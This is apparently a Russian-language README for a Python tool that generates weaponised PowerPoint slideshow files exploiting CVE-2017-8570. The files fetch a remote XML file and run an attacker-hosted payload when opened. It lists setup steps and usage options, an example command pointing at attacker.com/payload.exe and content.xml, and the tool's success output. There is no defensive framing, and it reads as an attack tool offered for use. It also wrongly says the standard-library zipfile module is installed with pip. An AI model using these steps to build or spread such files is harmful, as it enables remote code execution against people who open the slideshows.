
ppsx file generator for cve-2017-8570 (based on bhdresh/cve-2017-8570)
Автор: Temesgen Yibeltal [email protected] (на основе кода https://github.com/bhdresh/CVE-2017-8570 (теперь удалён))
ppsx-file-generator — это инструмент на Python, который создаёт файл слайд-шоу PowerPoint, выполняющий код из удалённого источника на основе существующего файла.
Инструмент генерирует файл слайд-шоу PowerPoint и XML-файл на основе предоставленных входных данных. Файл PowerPoint обращается к XML-файлу, который содержит информацию о файле полезной нагрузки. Злоумышленник может разместить XML-файл и полезную нагрузку на локальном или публичном сервере и указать URL для каждого из них в качестве входных данных.
Сначала получите код:
git clone https://github.com/temesgeny/ppsx-file-generator.git
ppsx-file-generator написан на Python и требует zipfile, который можно установить с помощью Pip:
pip install zipfile
Требуется Microsoft Office PowerPoint для выполнения этой задачи.
Сначала откройте Microsoft Office PowerPoint и откройте 'template.ppsx'. Откройте свой собственный файл презентации и скопируйте значок 'Coder.exe' из template.ppsx на слайд 1 вашего файла PowerPoint. Сохраните файл как слайд-шоу Power Point (.ppsx). Затем используйте инструмент Python следующим образом:
Usage: generate_ppsx.py input_filename -o output_filename -p payload_uri -x xml_uri
input_filename Имя входного файла ppsx.
-o Имя выходного .ppsx файла (включая .ppsx).
-p URL файла полезной нагрузки (.exe или .sct).
Должен находиться на доступном веб-сервере. (Опционально для XML-файла)
-x Полный URI XML-файла, который будет вызван файлом ppsx.
Должен находиться на доступном веб-сервере. (Обязательно)
python generate_ppsx.py -o output.ppsx -p http://attacker.com/payload.exe -x http://attacker.com/content.xml input.ppsx
Generated content.xml successfully
Generated output.ppsx successfully